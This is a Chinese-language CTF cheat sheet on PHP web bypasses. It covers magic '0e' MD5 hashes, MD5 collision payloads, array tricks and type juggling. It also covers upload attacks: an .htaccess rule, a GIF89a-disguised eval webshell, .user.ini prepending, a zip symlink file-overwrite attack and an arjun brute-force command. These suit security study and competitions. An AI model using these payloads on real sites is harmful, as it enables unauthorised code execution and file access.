ctrl+shift+c 打开禁用f12的网页的devtools

注意 /index.php 重定向,打开网页都是访问index文件

0要时刻注意/robots.txt www.zip

科学计数法和MD5值sha1值比较

弱比较

php 对0e+纯数字当作科学计数法而绕过
以0e开头的字符串只能是纯数字,这样php在进行科学计算法的时候才会将它转化为0


s1502113478a
0e861580163291561247404381396064
  
s1885207154a
0e509367213418206700842008763514
  
s1836677006a
0e481036490867661113260034900752
  
s155964671a
0e342768416822451524974117254469
  
s1184209335a
0e072485820392773389523109082030

0e215962017
0e291242476940776845150308577824
  

强比较

二进制md5加密 8e4ef6c69a337c0de0208455ee69a416

url编码 1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A3njn%FD%1A%CB%3A%29Wr%02En%CE%89%9A%E3%8EF%F1%BE%E9%EE3%0E%82%2A%95%23%0D%FA%CE%1C%F2%C‍4P%C2%B7s%0F%C8t%F28%FAU%AD%2C%EB%1D%D8%D2%00%8C%3B%FCN%C9b4%DB%AC%17%A8%BF%3Fh%84i%F4%1E%B5Q%7B%FC%B9RuJ%60%B4%0D7%F9%F9%00%1E%C1%1B%16%C9M%2A%7D%B2%BBoW%02%7D%8F%7F%C0qT%D0%CF%3A%9DFH%F1%25%AC%DF%FA%C4G%27uW%CFNB%E7%EF%B0



二进制md5加密 8e4ef6c69a337c0de0208455ee69a416

url编码 1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A3njn%FD%1A%CB%3A%29Wr%02En%CE%89%9A%E3%8E%C6%F1%BE%E9%EE3%0E%82%2A%95%23%0D%FA%CE%1C%F2%C4P%C2%B7s%0F%C8t%F28zV%AD%2C%EB%1D%D8%D2%00%8C%3B%FCN%C9%E24%DB%AC%17%A8%BF%3Fh%84i%F4%1E%B5Q%7B%FC%B9RuJ%60%B4%0D%B7%F9%F9%00%1E%C1%1B%16%C9M%2A%7D%B2%BBoW%02%7D%8F%7F%C0qT%D0%CF%3A%1DFH%F1%25%AC%DF%FA%C4G%27uW%CF%CEB%E7%EF%B0

对于sha1强碰撞基本不可能,但sha1函数传入为数组时会返回flase,两个flase会相等
[极客大挑战 2020]welcome

pyload:

roam1[]=1&roam2[]=2

数组绕过

md5() 函数中如果传入的不是字符串而是数组,不但md5()函数不会报错,结果还会返回null,在强比较里面null=null为 True 绕过

str1[]=1&str2[]=2

科学计数法比较大小

web中三位数最大的数不是999而是9e9

strcmp函数问题

函数问题见ctf-php-常用函数及其绕过

NULL、0、”0”、array()、字母、进制的比较

NULL0"0"array()在弱比较时相等、

字符串和数字比较

字符串以数字开头时,以开头数字(到字母出现截止)作为转换结果;开头不是数字的字符串或空null,则转换为0

'12'==12    //true
'12abc'==12 //true
'adm2n'==0  //true

进制格式的字符串

在弱比较下会将其转换为数字

超过精度的弱类型问题

浮点判断

超过精度的数字(小数点后超过17位)在进行弱口令比较时,会出现相等的情况

var_dump(1.000000000000000 == 1) >> TRUE
var_dump(1.0000000000000001 == 1) >> TRUE

浮点运算问题

<?php
$f =0.58;
var_dump(intval($f*100));
?>

output

int(57)

在用PHP进行浮点数的运算中,经常会出现一些和预期结果不一样的值

具体详细的原理可以看这位师傅的描述

上传漏洞

上传漏洞继承Web应用的权限(权限不会很高)

脚本文件要被访问后才有机会执行其中的恶意指令

.htaccess 上传漏洞

使jpg当做php解析

AddType application/x-httpd-php .jpg

可能会判断<?php>
来一个没有标志的一句话

GIF89a
<script language='php'>@eval($_POST["a"]);</script>

.user.ini 上传漏洞

.htaccess 只适用于apache

apache/nginx/iis都会用到


GIF89a
auto_prepend_file=tupianmaplus.png

auto_prepend_file是在php文件代码执行前用require包含进指定的文件
所以有个特点是上传目录里必有.php文件

windows重命名特点

1.php. .会自动重命名为1.php

在1.php后加::$DATA后文件会当作文件流处理,不会检测后缀

sql注入waf绕过

zip bomb

不要尝试解压,而是用winrar打开或者改成.rar

上传解压接口软链接覆盖问题(软链接攻击)

例题:hgame2024 week 3 ZeroLink

特点:上传一个zip压缩包,程序会进行解压,指定要读取的文件名,文件内容将被返回至网页(或者存在读取接口)。


//软链接
ln -s /app she

//压缩
zip --symlinks she.zip she

//建一个相同文件夹

mkdir she

//在文件里输入覆盖内容

vim she/secret

参数爆破

用arjun

给个例子

arjun -u http://node5.anna.nssctf.cn:28659/ -c 100 -d 5

-d 是发包间隔,秒为单位

一个好奇的人